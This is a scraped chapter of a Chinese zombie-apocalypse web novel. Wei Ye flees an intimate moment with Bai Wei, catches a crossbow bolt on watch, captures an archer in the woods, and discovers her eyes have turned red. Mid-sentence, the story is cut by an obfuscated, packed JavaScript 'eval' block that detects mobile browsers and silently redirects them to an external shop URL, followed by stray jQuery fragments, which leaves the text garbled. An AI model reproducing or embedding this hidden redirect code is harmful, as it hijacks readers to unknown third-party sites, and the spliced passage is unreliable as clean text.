文趣网 > 其他小说 > 幸存者 > 15.第 15 章
    魏也喉咙发干。

    她应该把白薇拉过来,应该亲她,应该顺着白薇刚才说的话往下做。可她听见“以前交过男朋友,我不是第一次”,心口像被细针扎了一下,不重,但酸。她不是介意那些男人。白薇的过去跟她无关,她也不觉得一个女人的价值系在膜上。她说不清自己是什么感受。只忽然觉得白薇离自己很远,虽然人就站在她面前,近得能闻见她身上的气息,可中间像隔了一道什么东西。

    白薇太坦白了。坦白得让魏也喘不过气。她本来就不习惯别人把心剖开给她看,更不习惯这个人这样站在自己面前,把自己从里到外翻个遍,还一件一件讲清楚。魏也觉得自己像被剥了壳,又被白薇逼着去看她的壳。她不想看。她宁愿白薇什么都别说,宁愿白薇还端着,冷着,骂她两句“下作”,也不愿她这样赤裸裸地站到面前,把“我都给你”这句话说得跟交代后事一样。

    她怕。

    她怕白薇给得太多,自己接不住。怕今晚真走到那一步,自己的手一碰上去,白薇这个人就再也摆脱不掉了。她想过很多次和白薇好,可这种“好”一旦落到实地上,变成一种责任、一种归属,她就慌了。她从没属于过谁,也不知道怎么去占有谁。白薇的过去,白薇的身体,白薇那句“我全给你”,每一桩都太重,压得她两条腿发软。

    “魏也,你怎么想?”白薇又问。

    魏也站起来,动作太急,床垫弹了一下。她避过白薇的眼神,低头从她身边绕过去,抓起沙发上外套,往身上一披。

    “我……今晚阿贵跟我搭班,我得早点上去。”

    白薇转过身。

    “你等等。”

    手搭在门锁上,魏也怕自己一回头就完蛋。她做了个吞咽的动作,嗓子眼紧得发疼,低声说:“我今天不方便。来事了。你……早点睡。”

    门“咔哒”一声开了。

    她跳下车,脚踩进泥地里,头也不回往坡上走。

    白薇站在车厢里,好一会儿没动。

    她看着门缝渐渐合上,看着高瘦的人影拐过油桶堆,消失在山雾里。

    四周又静下来。

    她慢慢蹲下来,捡起地上的短袖,抱在怀里,上面还沾着魏也的味道,很淡,混着海盐沐浴露和一点烟味。

    她没去追。

    追什么?她知道自己做错了一件事。她不该这么直。魏也这个人,吃软不吃硬,给得多,她退得快。要是一点点来,说不定今晚她还能留人。现在人跑了,像个被车灯照到野地里去的兔子,慌得连理由都编不像样。

    可她也没生气。她只觉得心里空了一小块。她低头看自己的手,刚才拉过魏也的手,那人的指尖冷得跟山里的石头一样,到现在她还觉得发凉。

    营地里几堆火都暗了。

    魏也裹着外套,深一脚浅一脚地往坡上走。

    她的心跳还是慢,可后颈在发烫,耳朵也烫。刚才在房车里,白薇就那样看着她,眼睛亮得让人心慌。她差点就扛不住。好在没有。好在门就在身后,她推开就能走。再晚一步,她怕自己会跪下去,抱着白薇的腿,什么都应了。

    她不想这样。

    她不知道自己到底在怕什么。白薇的过去?白薇的坦白?她好像都不在意。她在意的,是白薇把自己放得太低。低到一伸手就能碰到。她魏也这辈子,最怕的就是伸手能碰到的东西。别人家的小孩从小就有糖吃,所以她不吃糖。白薇太好,好得像画出来的,她怕自己碰一下,画就碎了,或者自己哪天手一滑,把这么好的东西摔成八瓣。

    她越想越乱,步子越快,最后几乎是在小跑。

    到哨位时,阿贵已经在了,蹲在雨棚下头点烟,见她来,烟从嘴里拔出来,一脸奇怪:“还没到点,你咋来了?”

    “睡不着。”魏也喘了两口,往木架上一靠,眼睛盯着来路。

    阿贵抽了几口烟,瞅她脸色:“跟薇姐吵架了?”

    “没有。”

    “那你这脸,跟谁欠你钱似的。”

    魏也坐下来,从包里抽了根烟,点了。火光照见她半张脸,青白青白的。烟吸进去,她咳了一声,没咳出来,闷在胸口。

    阿贵也不多问,往边上挪了挪,把自己带来的一壶热水递过去。

    魏也接了,灌了一口。

    “你晚上也不多穿点。”阿贵瞧她一眼,“要不去旁边跑两圈?”

    “不用。”

    阿贵“嘁”了一声,叼着烟去棚后撒尿。魏也一个人坐着,烟夹在指间,火星子在雾里一亮一亮。

    她的脑子和这山里的雾一样,白茫茫一片,什么都抓不住。

    山风大起来,雨棚的帆布哗哗地响。

    雾已经漫到雨棚底下,眼前十步外的树都模糊了。

    阿贵回来了,蹲在一旁擦刀,一声不吭。

    魏也扭头看他:“阿贵,我是不是挺混账的。”

    阿贵擦刀的手顿住,嘿了一声:“那看跟谁比。跟我比,你差远了。”

    “我十六岁就跟着白危在皇朝看场子,那会儿胆子也大,客人喝多了闹事,我一个人上去拖。有回被个东北来的马仔用酒瓶子开了瓢,缝了九针,第二天照样端盘子。我爹死得早,家里就一个妹妹。我妹跟你差不多大,在城北念职高。爆发那天我正好没在家,后来回去,楼都烧塌了。我这人你别看我成天笑,心早就烂透了。”

    他拿刀尖拨了拨火堆,火星子往上跳,又灭了。

    魏也听着,眼睛半阖,像要睡着,又像在看火。实际上耳朵早不在这儿了。

    林子里有声音。

    极轻。轻得跟风刮断蛛丝似的,不细听,还以为是松针落地。一下,隔三四秒,又一下。不像人走路,步伐太密,压得低;也不像丧尸,那些东西脚步碎,还喘,喉咙里永远带着嗬嗬的气音。这声音很匀,一顿一顿,贴着地面过来。

    她眼珠往右侧转,耳廓动了一下。

    阿贵还自顾自地说:“那会儿你还没进号子吧?皇朝门口一到后半夜,全城南的鬼都出来了。我妹追星,有回非让我带她进去看个驻唱,结果被个醉鬼摸了一把。我上去就是一板凳。白危骂我,说我不该在店里动手。后来他让经理给人免了单,又塞了条烟。我心里不痛快,可也没法。白危这人,跟谁都不翻脸,等你一转身,账翻得比谁都快。”

    “别说话。”魏也忽然开口。

    阿贵愣了:“啊?”

    “闭嘴。”

    阿贵脸上挂不住,火气刚往脑门上一顶,嘴还没张开,黑色的东西从林子里穿出来,快得像道线,目标直取魏也眉心。

    魏也头往左偏了三寸,右臂从下往上一抬。

    “啪”一声。

    箭杆撞进她掌心,箭簇离她眼睛不足两寸,铁青的尖上涂着干涸的黑物。

    阿贵看清了。这玩意是弩箭。军式,短杆,三棱箭头,尾部还带稳定翼,一箭能把野猪放倒。魏也单掌扣住了,连人带箭往后退了五公分,脸上没什么表情。

    “操……”阿贵喉咙里滚了半声。

    他还没站直,魏也已经把箭甩了,刀从鞘里抽出来。

    “在这等着。”魏也丢下一句,身子往下一压,朝林子里直冲进去。

    雨棚下帆布一掀,人就没进了雾里。

    阿贵伸出手,手指只碰到她衣角。晚了。他“啪”地拍了下大腿,脸都白了,嗓子发紧,想喊又不敢放声,怕把别的什么东西招来。他原地转了两圈,咬咬牙,抱着枪往山下跑,脚下打了好几个趔趄。

    半山腰的营地里。

    几个女的在车厢里围坐一圈,打的是纸牌。

    花裙子女人也来了,姓孔,都叫她孔二嫂,就坐在床沿,脱了鞋,脚边放着一小把瓜子。另外两个,一个叫小卢,二十出头,圆脸,细眼,头发染过又掉色,黄不拉几的,别着个红塑料发卡。一个叫雯雯,三十来岁,矮瘦,皮黄,胳膊青筋很明显。她们白危的人不全是夜店带出来的,有几个是路上捡的。白薇跟她们不算亲近,平时也没多少话。今晚是孔二嫂喊来的,说薇姐闷,打几把。

    白薇心不在,牌却赢得快。

    小卢把瓜子壳扔进一只剪了口的可乐罐里,说:“薇姐今天手气旺,明儿再有人下山搬货,准顺。”

    雯雯说:“可不,薇姐出牌跟算好了似的。”

    白薇只笑,牌往床单上一盖:“再来。”

    车厢外头,小陈靠在前轮上,拿打火机给自己点烟,他听不着车里的谈话,只觉着山里今天晚上静。

    静得有点过。

    阿贵就是从雾里滚出来的。

    他连滚带爬冲到黑房车门口,半扇车门拍得咣咣响:“危哥!林子里有人放弩!”

    白危没应。

    阿贵又跑去白薇房车外,嗓子劈了:“薇姐!有人摸上来了!放冷箭!魏也追林子里去了!”

    车里的牌声停了。

    车门从里面哗啦一声拉开,白薇赤着脚站在门槛上,手里还捏着两张牌。她脸色没大变,只下巴绷紧,眼睛往林子的方向一斜:“多久的事?”

    “就刚才!那箭直冲她脑门来的,她接住了,我还没看清楚,她抽刀就进去了。拉都拉不住,那速度……那速度不像人!”

    白薇把牌往孔二嫂手里一塞,回头抄起手电和一件迷彩外套,往车下走。小陈已经把白危叫起来了,白危披着衣服从房车里出来,皮带都没系。几个男人也从帐篷里钻出来,手电光乱晃。

    “谁放的箭,看清楚了吗?”白危朝阿贵吼。

    “没有。就听见响。一支。弩箭。”

    “朝哪边跑了?”

    “北坡!魏也往北边山脊追过去了。我拉不住她!”

    白危骂了句,扭头朝胡三岭和铁柱一挥手:“带上枪,去北坡!”又指着阿贵和小陈,“你俩去东边口子,别让人从侧面包了。其余人守住营地,女的全回车里,灯全灭!”

    人群“嗡”地散开。

    白薇往北坡方向走了两步,白危一把拽住她胳膊:“你在这待着。”

    “魏也追出去了。”白薇说。

    “追就追。她命大。你光着脚追,你疯还是她疯?”

    白薇低头看了眼自己的脚,才觉出冷。孔二嫂拎着双布鞋从车里下来,蹲下给她套上,嘴里小声说:“薇姐,外头黑,别出去了。”

    白薇点了点头,鞋踩实,手电夹在腋下,走到北边哨位下头,拿光照林子。雾已经压到山腰,光柱照不进十步。

    树影从四面八方压过来。

    魏也往北山脊追,脚步轻,鞋子踩在湿滑的腐叶上没什么声响。她不知道追的是什么人,只知道对方用的是□□,能一箭毙命。林子里至少有两个,一个射箭,一个在更深处的坡地上放风。

    她跑得太快了,快到肺都不再需要大口喘气,快到光秃秃的岩石在脚下只是轻轻一蹭。

    她能听见前面的人。

    是个男人,脚尖陷进湿土里的声音一下比一下急,他估摸没料到魏也敢一个人追出来,更没料到后面这玩意儿比林子里野物还快。

    刀已经脱了鞘。

    魏也身体前倾,左手拨开挡路的枝条,右手刀横在身侧。

    前头十步外有个黑影,正翻过一截倒木。

    魏也加快速度冲过去,一脚踩上倒木,借力跃起,刀光一闪,横着劈了下去。

    男人回手用弩挡。刀砍在弩身上,“铛”地一声,火星子溅出来。他虎口震裂,弩脱手飞出去,人往后一屁股坐倒。

    魏也紧跟着扑上,膝盖顶着他胸口,刀尖抵着他咽喉。是个四十来岁的男人,脸涂得黑一道绿一道,头发剃得短,嘴唇哆嗦,喉咙里“啊”了两声,挤出几个字:“别……别杀我……”

    魏也鼻子嗅了嗅。血腥味、汗味、泥味、铁锈味,还有火药味,刀刃往男人脖子上一压,冷声道:“谁派你来的?”

    “没……没人派……我们是路过的,饿得没办法,想从你们营地摸点东西……”男人说话时眼睛直往右边斜,呼吸很乱。

    魏也手上一沉,刀更贴皮,一颗血珠顺着刀口滚下来,“撒谎。那边坡上趴着谁?”

    男人不说话了。

    魏也不等,刀尖往他肩窝里一戳,没深刺,只破皮。

    男人惨叫着喊:“刘哥!别等我了!跑——”

    林子里“嗖”地又射出一箭。

    魏也头也不回,右臂挥刀往身后一格。箭杆“铛”地撞在刀背上,弹进旁边松树干里,箭尾嗡嗡地颤。

    她按着身下的人,朝箭来的方向慢慢转头。

    月光从雾的缝隙漏下来,正打在她脸上。眼白是冷的,泛着青。瞳孔却红了,暗红,不亮,藏在深陷的眼窝里。这红不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17875373|212366||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    像是充血,也不像是反光,是从虹膜底下透出来的,像血渗进了原本黑色的纹路里,一圈一圈,稠得化不开。

    那地方,树枝一抖,一个人影猫着腰跑了。

    魏也想追。

    可身下这人在颤抖,肩窝的血越流越快。她如果不处理,这人撑不到回去。她没带绳,只能用刀逼着对方翻过身,又扯下他腰上一条布带,把人反剪着绑住双手。

    她蹲在旁边,刀刃插进土里。

    “你们不该来这。”

    男人呜呜叫着,眼里全是惊恐,腿在地上乱蹬,他看见魏也的脸了,看见那双红眼珠子了。他拼了命想往后缩,后脑勺在湿泥里蹭出一道深沟。

    魏也站起身,单手提刀,另一手抓着男人的后领,把人往山下拖。

    男人还在挣扎,她便松了一下手,等他翻过来,又捏住他后颈皮往上一提,疼得他浑身发紧,再不敢动。

    山下的手电光杂杂乱乱地扫上来。

    胡三岭和铁柱正往坡上摸,阿贵领着小陈从东边绕。

    白薇站在坡底,手里攥着手电,光直直打在魏也脚边,光柱往上一抬。

    魏也下意识偏了偏头,眼睛躲了半寸。

    “别照。”

    电筒往下压了压,白薇往她这边走。步子是急的,可走起来又不显得乱,走到近前,她伸手,贴住魏也的下巴,把她的脸慢慢扳回来。

    魏也半阖着眼,眼睫垂得低。

    “睁开。”白薇说。

    魏也眼皮颤了颤,慢慢掀开。

    月光、手电、远处营地漏过来的一点黄,混在一起,把她眼珠照得清楚。眼白冷白,瞳孔收成细点,虹膜红了,不似滴血那样艳,是沉沉的铁锈红,像一块陈年血珀,对着光才显出色来。

    “什么时候的事。”白薇问。

    “刚才。”魏也说,“追进去之后。我看得清楚,他们的动作慢,箭也慢。我眼睛发热,像有东西在烧。我以为出血了,想擦,手里有刀。等到了林子边上,我往刀面上一照,就看见了。”

    她顿了顿,说:“白薇,我可能真不是人了。”

    手顺着她耳垂后面滑到后颈,白薇往自己面前轻轻一按。魏也顺势低下头,额头抵在白薇肩膀上,重重呼出一口气。

    “痛不痛?”白薇问。

    “不痛。”

    “能看清吗?”

    “比刚才还清。”

    旁边有人围过来。

    众人看见魏也的眼睛,一个个都站住了。

    胡三岭上前一步,低声问:“薇姐,这人怎么弄?”

    白薇说了句:“带回去,关起来。魏也抓的,先别动他。”

    铁柱和阿贵对视一眼,上前拖人。那男人已经半死不活,两条腿拖在地上,泥里划出两道弯弯扭扭的印子。

    “还有人在林子里。”白薇说。

    胡三岭点头:“我带铁柱从北坡绕上去。小陈守东边口子。”他看了眼魏也,欲言又止,压着嗓子说,“她那眼睛……”

    “我知道。”白薇打断,“明天再说。先把人守住。”

    胡三岭没敢再说什么,转身带人走了。

    四周又静下来。

    “回去吧。”白薇说。

    魏也慢慢直起身,眼睛在雾里透出暗红。

    她跟着白薇往营地走,走着走着,觉得自己像在深水里潜行。周围的景物都蒙着红翳,树、车、帐篷、人影,全染了层暖色。

    房车门口,白薇让她坐下,拧了条热毛巾,慢慢替她擦脸。魏也闭着眼,能听见毛巾擦过皮肤时布纹的声响,听见远处篝火里木炭裂开的“啪”,听见白薇手腕上手表秒针一下一下地在走。

    “我今晚,不守了。”魏也低声说。

    “不守了。”白薇重复。

    毛巾擦到她眼尾时,白薇停了一下。她离得近,能看见红色从瞳仁外圈往深处渗,最里头还留着点黑。

    “会变回去吗。”白薇问。

    “不知道。”

    “你要敢死。”白薇把毛巾丢进盆里,手指在她眉心点了一下,“我不会放过你。”

    魏也扯了下嘴角,眼睛睁了睁,眼珠映着车里的暖黄,红显得浅了,被灯一冲,淡成茶色。

    “我这双眼睛,你怕吗?”魏也问。

    白薇看着她,好一会儿,说:“不怕。”

    “为什么。”

    “你自己也说了。变化,是为了看清林子里的东西。你看得更清,才能活着回来。”白薇往她脸上又擦了一把,“我只怕你看得太清,回来不认我。”

    魏也一把抓住她的手,“白薇。我追出去的时候,没想别的。满脑子就一件事,那帮人敢放冷箭,要射死我,还要射死你们。我不能让他们成。我跑着跑着,眼睛突然烧起来,眼前全变慢了。那支箭再快,我也看得见它尾羽在风里怎么抖。我以前打架靠狠,现在不是。现在清楚得吓人。”

    她抬头,盯着白薇,红眼在光影里沉下来,不凶,也不野。

    “我这样,你觉得还是魏也吗?”

    白薇反手把她的手指掰开,一根一根,贴在自己脸上。

    “我从头到脚都认你。”

    魏也眼眶发烫,眼珠更红,红得要渗出来。她慌得赶紧闭上眼,侧过脸去。

    白薇拉她过来,按进自己怀里。

    “别哭。你一哭,眼睛更红。等会儿胡三岭看见,还以为你咬了人。”

    魏也哽了一声,声音闷在她胸口:“谁哭了。”

    车外,阿贵把小陈拉到一边,两人蹲在油桶后头,你一句我一句。

    “你没看见,那箭都快顶到她眉心了,她一只手,就这么一抓,跟抓筷子似的。”阿贵比划着,烟夹在手里,抖了一截烟灰,“这他娘能是人吗?”

    小陈往房车方向看了一眼:“她眼睛是不是红了?”

    “可不。”阿贵吸了口烟,“我瞅见了,跟狼似的。追林子那会儿还没有,出来就红了。你不怕?”

    “怕有什么用。”小陈闷声说,“她守夜,守的是咱。她变啥样也总比外头那些东西强。”

    阿贵不说话了,烟屁股按进泥里,抱着枪,眼睛往黑漆漆的北坡上看。那里头还有人,不知藏着几个,不知什么时候再放一支冷箭过来。

    他低声骂了句:“这山里,当真待不住了。”